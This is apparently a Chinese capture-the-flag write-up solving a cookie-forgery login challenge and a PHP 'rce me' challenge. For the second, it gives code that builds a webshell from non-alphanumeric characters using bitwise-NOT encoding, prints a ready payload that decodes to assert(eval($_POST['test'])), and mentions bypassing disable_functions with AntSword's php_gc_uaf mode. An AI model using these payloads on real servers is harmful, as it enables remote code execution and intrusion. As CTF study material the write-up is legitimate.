继续更新 kookie 题目提示了cookie,那么就抓包看看喽 以admin进行登录,发现是以明文发送的username和password 尝试添加cookie条目,username=admin,登陆成功,拿到flag。。。。。最简单的cookie注入 rce me 这题简单粗暴的源码审计,就是不用数字字母写一个shell,长度不超过40 那么百度了以后,发现有两个绕过思路,取反或者异或,其实就是利用计算机编码的知识,在前面的if判断阶段,并不会进行字符编码运算 以取反为例,也就是说if循环看到的是取反符号后面的一堆特殊字符 但是执行到eval函数的时候,他会先把这些特殊字符进行取反,然后再执行代码 那么反反得正,把shell取一次反,得到结果作为payload传入就可以绕过了 小demo:
<?php
echo urlencode(~'phpinfo');
?>
得到结果: %8F%97%8F%96%91%99%90 转码回去
echo ~urldecode('%8F%97%8F%96%91%99%90');
传入payload:?code=(~%8F%97%8F%96%91%99%90)(); 成功回显phpinfo();那么下面一步就是写payload,两个要注意的问题,1:payload长度不能超40,2.绕过disable_functions 关于无数字字母的shell,推荐下面这篇文章: https://www.freebuf.com/articles/network/279563.html 写的还是比较好的,基本上思路就理通了 通过查阅disable_functions可知,assert没有禁用 那么开始尝试构造payload: assert(eval($_POST[“hello”])); 然后这里我看别人文章里写的不是不能直接将这一段都直接编码,原因我也不知道,有懂得师傅可以教教我,反正要将assert和后面的东西分开编码 生成shell:
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
得到最终的payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
写完之后蚁剑链接,后面其实还有一个绕过disable_functions的操作,可以自己去下脚本,改一下手动绕过 不过懒得弄了,直接用蚁剑的php_gc_uaf模式手动绕过,进入shell后执行/目录下的readflag得到flag 参考视频链接:https://www.bilibili.com/video/BV13L411N7H1/
|